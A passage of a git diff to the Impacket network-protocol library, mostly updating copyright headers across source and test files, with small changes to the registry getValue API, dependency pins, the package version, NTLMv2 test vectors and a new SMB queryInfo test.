\n".format(version) WARNING_BANNER = "".join(("===============================================================================\n", " Warning: This functionality will be deprecated in the next Impacket version \n", "===============================================================================\n")) diff --git a/impacket/winregistry.py b/impacket/winregistry.py index d45cbb387a..6089f2a913 100644 --- a/impacket/winregistry.py +++ b/impacket/winregistry.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file @@ -176,7 +178,8 @@ def __init__(self, hive, isRemote = False): LOG.warning("Unsupported version (%d.%d) - things might not work!" % (self.__regf['MajorVersion'], self.__regf['MinorVersion'])) def close(self): - self.fd.close() + if hasattr(self, 'fd'): + self.fd.close() def __del__(self): self.close() @@ -450,10 +453,18 @@ def enumValues(self,key): return resp - def getValue(self, keyValue): - # returns a tuple with (ValueType, ValueData) for the requested keyValue - regKey = ntpath.dirname(keyValue) - regValue = ntpath.basename(keyValue) + def getValue(self, keyValue, valueName=None): + """ returns a tuple with (ValueType, ValueData) for the requested keyValue + valueName is the name of the value (which can contain '\\') + if valueName is not given, keyValue must be a string containing the full path to the value + if valueName is given, keyValue should be the string containing the path to the key containing valueName + """ + if valueName is None: + regKey = ntpath.dirname(keyValue) + regValue = ntpath.basename(keyValue) + else: + regKey = keyValue + regValue = valueName key = self.findKey(regKey) diff --git a/impacket/wps.py b/impacket/wps.py index 47d4c0178f..446401e8dd 100644 --- a/impacket/wps.py +++ b/impacket/wps.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/requirements.txt b/requirements.txt index 92b49c475d..dff4a2f436 100644 --- a/requirements.txt +++ b/requirements.txt @@ -4,8 +4,8 @@ charset_normalizer pyasn1>=0.2.3 pyasn1_modules pycryptodomex -pyOpenSSL>=21.0.0 +pyOpenSSL==24.0.0 ldap3>=2.5,!=2.5.2,!=2.5.0,!=2.6 ldapdomaindump>=0.9.0 flask>=1.0 -pyreadline;sys_platform == 'win32' +pyreadline3;sys_platform == 'win32' diff --git a/setup.py b/setup.py index 192f4ded3b..7e9e7c9f40 100644 --- a/setup.py +++ b/setup.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file @@ -20,9 +22,9 @@ PACKAGE_NAME = "impacket" VER_MAJOR = 0 -VER_MINOR = 12 +VER_MINOR = 13 VER_MAINT = 0 -VER_PREREL = "dev1" +VER_PREREL = "dev" try: if call(["git", "branch"], stderr=STDOUT, stdout=open(os.devnull, 'w')) == 0: p = Popen("git log -1 --format=%cd --date=format:%Y%m%d.%H%M%S", shell=True, stdin=PIPE, stderr=PIPE, stdout=PIPE) @@ -51,6 +53,7 @@ def read(fname): setup( name=PACKAGE_NAME, + #version="{}.{}.{}".format (VER_MAJOR, VER_MINOR, VER_MAINT), version="{}.{}.{}.{}{}".format(VER_MAJOR, VER_MINOR, VER_MAINT,VER_PREREL,VER_LOCAL), description="Network protocols Constructors and Dissectors", url="https://www.coresecurity.com", @@ -68,15 +71,16 @@ def read(fname): scripts=glob.glob(os.path.join('examples', '*.py')), data_files=data_files, - install_requires=['pyasn1>=0.2.3', 'pyasn1_modules', 'pycryptodomex', 'pyOpenSSL>=21.0.0', 'six', 'ldap3>=2.5,!=2.5.2,!=2.5.0,!=2.6', + install_requires=['pyasn1>=0.2.3', 'pyasn1_modules', 'pycryptodomex', 'pyOpenSSL==24.0.0', 'six', 'ldap3>=2.5,!=2.5.2,!=2.5.0,!=2.6', 'ldapdomaindump>=0.9.0', 'flask>=1.0', 'setuptools', 'charset_normalizer'], - extras_require={'pyreadline:sys_platform=="win32"': [], + extras_require={':sys_platform=="win32"': ['pyreadline3'], }, classifiers=[ + "Programming Language :: Python :: 3.12", + "Programming Language :: Python :: 3.11", "Programming Language :: Python :: 3.10", "Programming Language :: Python :: 3.9", "Programming Language :: Python :: 3.8", - "Programming Language :: Python :: 3.7", - "Programming Language :: Python :: 3.6", + ] ) diff --git a/tests/ImpactPacket/__init__.py b/tests/ImpactPacket/__init__.py index a1a24fcbeb..2e36366199 100644 --- a/tests/ImpactPacket/__init__.py +++ b/tests/ImpactPacket/__init__.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/ImpactPacket/test_ICMP6.py b/tests/ImpactPacket/test_ICMP6.py index 5986101ae8..2d4775198d 100644 --- a/tests/ImpactPacket/test_ICMP6.py +++ b/tests/ImpactPacket/test_ICMP6.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/ImpactPacket/test_IP6.py b/tests/ImpactPacket/test_IP6.py index 3e527c756f..f3d321851b 100644 --- a/tests/ImpactPacket/test_IP6.py +++ b/tests/ImpactPacket/test_IP6.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/ImpactPacket/test_IP6_Address.py b/tests/ImpactPacket/test_IP6_Address.py index ae448e00c2..98b77fc138 100644 --- a/tests/ImpactPacket/test_IP6_Address.py +++ b/tests/ImpactPacket/test_IP6_Address.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/ImpactPacket/test_IP6_Extension_Headers.py b/tests/ImpactPacket/test_IP6_Extension_Headers.py index 12f4d9de9b..21903de21e 100644 --- a/tests/ImpactPacket/test_IP6_Extension_Headers.py +++ b/tests/ImpactPacket/test_IP6_Extension_Headers.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/ImpactPacket/test_TCP.py b/tests/ImpactPacket/test_TCP.py index 395846dadb..4a0ff7d76a 100644 --- a/tests/ImpactPacket/test_TCP.py +++ b/tests/ImpactPacket/test_TCP.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/ImpactPacket/test_TCP_bug_issue7.py b/tests/ImpactPacket/test_TCP_bug_issue7.py index f92bbb6bf1..3c556cac3c 100755 --- a/tests/ImpactPacket/test_TCP_bug_issue7.py +++ b/tests/ImpactPacket/test_TCP_bug_issue7.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/ImpactPacket/test_ethernet.py b/tests/ImpactPacket/test_ethernet.py index 8dccebe55f..f64cb62207 100644 --- a/tests/ImpactPacket/test_ethernet.py +++ b/tests/ImpactPacket/test_ethernet.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/SMB_RPC/__init__.py b/tests/SMB_RPC/__init__.py index a1a24fcbeb..2e36366199 100644 --- a/tests/SMB_RPC/__init__.py +++ b/tests/SMB_RPC/__init__.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/SMB_RPC/test_ldap.py b/tests/SMB_RPC/test_ldap.py index 54af6bd03e..bd011fb386 100644 --- a/tests/SMB_RPC/test_ldap.py +++ b/tests/SMB_RPC/test_ldap.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/SMB_RPC/test_ndr.py b/tests/SMB_RPC/test_ndr.py index d0727ff656..925e83e57e 100644 --- a/tests/SMB_RPC/test_ndr.py +++ b/tests/SMB_RPC/test_ndr.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/SMB_RPC/test_nmb.py b/tests/SMB_RPC/test_nmb.py index 35b97e6ee2..9bacf3681f 100644 --- a/tests/SMB_RPC/test_nmb.py +++ b/tests/SMB_RPC/test_nmb.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/SMB_RPC/test_ntlm.py b/tests/SMB_RPC/test_ntlm.py index ecfc490b60..e1ee6400af 100644 --- a/tests/SMB_RPC/test_ntlm.py +++ b/tests/SMB_RPC/test_ntlm.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file @@ -236,7 +238,7 @@ def test_ntlmv2(self): ntResponse, lmResponse, sessionBaseKey = ntlm.computeResponseNTLMv2(flags, self.serverChallenge, self.clientChallenge, serverName, self.domain, self.user, self.password, '', '' ) hexdump(sessionBaseKey) - self.assertEqual(sessionBaseKey, bytearray(b'\x8d\xe4\x0c\xca\xdb\xc1\x4a\x82\xf1\x5c\xb0\xad\x0d\xe9\x5c\xa3')) + self.assertEqual(sessionBaseKey, bytearray(b'\xe0\x02\x92\x35\xf1\x18\x08\xe6\x12\xea\xa1\xac\xe6\x13\x78\x5f')) print("\n") print("4.2.4.2.1 LMv2 Response") @@ -245,13 +247,13 @@ def test_ntlmv2(self): print("\n") print("4.2.4.2.2 NTLMv2 Response") hexdump(ntResponse[:16]) - self.assertEqual(ntResponse[:16], bytearray(b'\x68\xcd\x0a\xb8\x51\xe5\x1c\x96\xaa\xbc\x92\x7b\xeb\xef\x6a\x1c')) + self.assertEqual(ntResponse[:16], bytearray(b'\xb2\x32\x05\x0b\x98\xe5\xf4\xe3\x36\xbd\x18\x79\x21\xa2\x7b\xb2')) print("\n") print("4.2.4.2.3 Encrypted Session Key") keyExchangeKey = ntlm.KXKEY(flags, sessionBaseKey, lmResponse, self.serverChallenge, self.password,'','') encryptedSessionKey = ntlm.generateEncryptedSessionKey(keyExchangeKey,self.randomSessionKey) hexdump(encryptedSessionKey) - self.assertEqual(encryptedSessionKey, bytearray(b'\xC5\xDA\xD2\x54\x4F\xC9\x79\x90\x94\xCE\x1C\xE9\x0B\xC9\xD0\x3E')) + self.assertEqual(encryptedSessionKey, bytearray(b'\x18\x6c\xaf\xee\x66\x20\x16\x9d\xd9\x8c\x4d\x1a\x22\x56\x71\x4c')) print("\n") print("AUTHENTICATE MESSAGE") @@ -264,7 +266,7 @@ def test_ntlmv2(self): ntlmChallengeResponse['ntlm'] = ntResponse ntlmChallengeResponse['session_key'] = encryptedSessionKey hexdump(ntlmChallengeResponse.getData()) - self.assertEqual(ntlmChallengeResponse.getData(), bytearray(b'NTLMSSP\x00\x03\x00\x00\x00\x18\x00\x18\x00|\x00\x00\x00T\x00T\x00\x94\x00\x00\x00\x0c\x00\x0c\x00X\x00\x00\x00\x08\x00\x08\x00d\x00\x00\x00\x10\x00\x10\x00l\x00\x00\x00\x10\x00\x10\x00\xe8\x00\x00\x003\x82\x8a\xe2D\x00o\x00m\x00a\x00i\x00n\x00U\x00s\x00e\x00r\x00C\x00O\x00M\x00P\x00U\x00T\x00E\x00R\x00\x86\xc3P\x97\xac\x9c\xec\x10%TvJW\xcc\xcc\x19\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaah\xcd\n\xb8Q\xe5\x1c\x96\xaa\xbc\x92{\xeb\xefj\x1c\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x00\x02\x00\x0c\x00D\x00o\x00m\x00a\x00i\x00n\x00\x01\x00\x0c\x00S\x00e\x00r\x00v\x00e\x00r\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc5\xda\xd2TO\xc9y\x90\x94\xce\x1c\xe9\x0b\xc9\xd0>')) + self.assertEqual(ntlmChallengeResponse.getData(), bytearray(b'NTLMSSP\x00\x03\x00\x00\x00\x18\x00\x18\x00|\x00\x00\x00P\x00P\x00\x94\x00\x00\x00\x0c\x00\x0c\x00X\x00\x00\x00\x08\x00\x08\x00d\x00\x00\x00\x10\x00\x10\x00l\x00\x00\x00\x10\x00\x10\x00\xe4\x00\x00\x003\x82\x8a\xe2D\x00o\x00m\x00a\x00i\x00n\x00U\x00s\x00e\x00r\x00C\x00O\x00M\x00P\x00U\x00T\x00E\x00R\x00\x86\xc3P\x97\xac\x9c\xec\x10%TvJW\xcc\xcc\x19\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xb22\x05\x0b\x98\xe5\xf4\xe36\xbd\x18y!\xa2{\xb2\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x00\x02\x00\x0c\x00D\x00o\x00m\x00a\x00i\x00n\x00\x01\x00\x0c\x00S\x00e\x00r\x00v\x00e\x00r\x00\x00\x00\x00\x00\x18l\xaf\xeef \x16\x9d\xd9\x8cM\x1a"VqL')) print("\n") print("4.2.4.4 GSS_WrapEx") print("Plaintext") diff --git a/tests/SMB_RPC/test_rpch.py b/tests/SMB_RPC/test_rpch.py index 16446f55bb..fc67e27b09 100755 --- a/tests/SMB_RPC/test_rpch.py +++ b/tests/SMB_RPC/test_rpch.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/SMB_RPC/test_rpcrt.py b/tests/SMB_RPC/test_rpcrt.py index 19d3196c44..e6e67bbd14 100644 --- a/tests/SMB_RPC/test_rpcrt.py +++ b/tests/SMB_RPC/test_rpcrt.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/SMB_RPC/test_secretsdump.py b/tests/SMB_RPC/test_secretsdump.py index 115c412dc4..db0079ecb6 100644 --- a/tests/SMB_RPC/test_secretsdump.py +++ b/tests/SMB_RPC/test_secretsdump.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/SMB_RPC/test_smb.py b/tests/SMB_RPC/test_smb.py index 52b2b380b8..4dbaedcacb 100644 --- a/tests/SMB_RPC/test_smb.py +++ b/tests/SMB_RPC/test_smb.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file @@ -87,7 +89,7 @@ def test_connection(self): self.assertEqual(credentials, (self.username, self.password, self.domain, '', '', '', None, None)) smb.logoff() del(smb) - + def test_close_connection(self): smb = self.create_connection() smb.login(self.username, self.password, self.domain) @@ -156,7 +158,7 @@ def test_createFile(self): smb.deleteFile(self.share, self.file + '.bak') smb.disconnectTree(tid) smb.logoff() - + def test_readwriteFile(self): smb = self.create_connection() smb.login(self.username, self.password, self.domain) @@ -176,9 +178,8 @@ def test_readwriteFile(self): smb.closeFile(tid, fid) smb.deleteFile(self.share, self.file) smb.disconnectTree(tid) - smb.logoff() - + def test_createdeleteDirectory(self): smb = self.create_connection() smb.login(self.username, self.password, self.domain) @@ -194,7 +195,7 @@ def test_createdeleteDirectory(self): smb.deleteDirectory(self.share, nested_dir) smb.deleteDirectory(self.share, self.directory) smb.logoff() - + def test_getData(self): smb = self.create_connection() smb.login(self.username, self.password, self.domain) @@ -205,6 +206,8 @@ def test_getData(self): smb.getServerOS() smb.doesSupportNTLMv2() smb.isLoginRequired() + smb.isSigningRequired() + smb.getIOCapabilities() smb.logoff() def test_getServerName(self): @@ -266,7 +269,21 @@ def test_getSessionKey(self): smb.login(self.username, self.password, self.domain) smb.getSessionKey() smb.logoff() - + + def test_queryInfo(self): + smb = self.create_connection() + smb.login(self.username, self.password, self.domain) + tid = smb.connectTree(self.share) + fid = smb.createFile(tid, self.file) + file_info = smb.queryInfo(tid, fid) + self.assertEqual(file_info["AllocationSize"], 0) + self.assertEqual(file_info["EndOfFile"], 0) + self.assertEqual(file_info["Directory"], 0) + smb.closeFile(tid,fid) + smb.deleteFile(self.share, self.file) + smb.disconnectTree(tid) + smb.logoff() + def __is_socket_opened(self, s): # We assume that if socket is selectable, it's open; and if it were not, it's closed. # Note: this method is accurate as long as the file descriptor used for the socket is not re-used diff --git a/tests/SMB_RPC/test_smbserver.py b/tests/SMB_RPC/test_smbserver.py index c18b4bcf01..822f859446 100644 --- a/tests/SMB_RPC/test_smbserver.py +++ b/tests/SMB_RPC/test_smbserver.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/SMB_RPC/test_spnego.py b/tests/SMB_RPC/test_spnego.py index 5ca53a3a08..822b136b3d 100644 --- a/tests/SMB_RPC/test_spnego.py +++ b/tests/SMB_RPC/test_spnego.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/SMB_RPC/test_wmi.py b/tests/SMB_RPC/test_wmi.py index 29a8ce324d..bcbea488b9 100644 --- a/tests/SMB_RPC/test_wmi.py +++ b/tests/SMB_RPC/test_wmi.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/__init__.py b/tests/__init__.py index 2018dbc904..bb6c1a6397 100644 --- a/tests/__init__.py +++ b/tests/__init__.py @@ -1,7 +1,9 @@ #!/usr/bin/env python -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies # -# This software is provided under under a slightly modified version +# All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # diff --git a/tests/conftest.py b/tests/conftest.py index f36c3174cc..b5a7575ec9 100644 --- a/tests/conftest.py +++ b/tests/conftest.py @@ -1,7 +1,9 @@ #!/usr/bin/env python -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies # -# This software is provided under under a slightly modified version +# All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # diff --git a/tests/dcerpc/__init__.py b/tests/dcerpc/__init__.py index fd678d3d73..3afa9c5613 100644 --- a/tests/dcerpc/__init__.py +++ b/tests/dcerpc/__init__.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/dcerpc/test_bkrp.py b/tests/dcerpc/test_bkrp.py index 710254b1d5..2177b8241d 100644 --- a/tests/dcerpc/test_bkrp.py +++ b/tests/dcerpc/test_bkrp.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/dcerpc/test_dcomrt.py b/tests/dcerpc/test_dcomrt.py index e47e3fffec..0a213aedd6 100644 --- a/tests/dcerpc/test_dcomrt.py +++ b/tests/dcerpc/test_dcomrt.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/dcerpc/test_dhcpm.py b/tests/dcerpc/test_dhcpm.py index c6e2128428..5f77959bf0 100755 --- a/tests/dcerpc/test_dhcpm.py +++ b/tests/dcerpc/test_dhcpm.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/dcerpc/test_drsuapi.py b/tests/dcerpc/test_drsuapi.py index 12459419c1..96eefcf590 100644 --- a/tests/dcerpc/test_drsuapi.py +++ b/tests/dcerpc/test_drsuapi.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/dcerpc/test_epm.py b/tests/dcerpc/test_epm.py index a8e06626e3..d5fe508074 100644 --- a/tests/dcerpc/test_epm.py +++ b/tests/dcerpc/test_epm.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/dcerpc/test_even.py b/tests/dcerpc/test_even.py index aa0feca5f7..15ca91260b 100755 --- a/tests/dcerpc/test_even.py +++ b/tests/dcerpc/test_even.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/dcerpc/test_even6.py b/tests/dcerpc/test_even6.py index 06bd05c764..1711e4fce4 100644 --- a/tests/dcerpc/test_even6.py +++ b/tests/dcerpc/test_even6.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/dcerpc/test_fasp.py b/tests/dcerpc/test_fasp.py index 36c96c9ec4..d49da98392 100755 --- a/tests/dcerpc/test_fasp.py +++ b/tests/dcerpc/test_fasp.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/dcerpc/test_lsad.py b/tests/dcerpc/test_lsad.py index ef94c5b6a7..1708d5c459 100644 --- a/tests/dcerpc/test_lsad.py +++ b/tests/dcerpc/test_lsad.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/dcerpc/test_lsat.py b/tests/dcerpc/test_lsat.py index 3eba617f3d..16de1eea99 100644 --- a/tests/dcerpc/test_lsat.py +++ b/tests/dcerpc/test_lsat.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/dcerpc/test_mgmt.py b/tests/dcerpc/test_mgmt.py index ff71ce8523..27eae83dcd 100644 --- a/tests/dcerpc/test_mgmt.py +++ b/tests/dcerpc/test_mgmt.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/dcerpc/test_mimilib.py b/tests/dcerpc/test_mimilib.py index d633f02345..d08b76feab 100644 --- a/tests/dcerpc/test_mimilib.py +++ b/tests/dcerpc/test_mimilib.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/dcerpc/test_nrpc.py b/tests/dcerpc/test_nrpc.py index 14fc798c2e..41a64b2e3f 100644 --- a/tests/dcerpc/test_nrpc.py +++ b/tests/dcerpc/test_nrpc.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/dcerpc/test_par.py b/tests/dcerpc/test_par.py index 19502efa42..a4f8f38c18 100644 --- a/tests/dcerpc/test_par.py +++ b/tests/dcerpc/test_par.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/dcerpc/test_rprn.py b/tests/dcerpc/test_rprn.py index 46164cb2c4..e4ba63e159 100644 --- a/tests/dcerpc/test_rprn.py +++ b/tests/dcerpc/test_rprn.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/dcerpc/test_rrp.py b/tests/dcerpc/test_rrp.py index 7900497e41..483045548b 100644 --- a/tests/dcerpc/test_rrp.py +++ b/tests/dcerpc/test_rrp.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/dcerpc/test_samr.py b/tests/dcerpc/test_samr.py index 88ed1c5bb9..e928f340cb 100644 --- 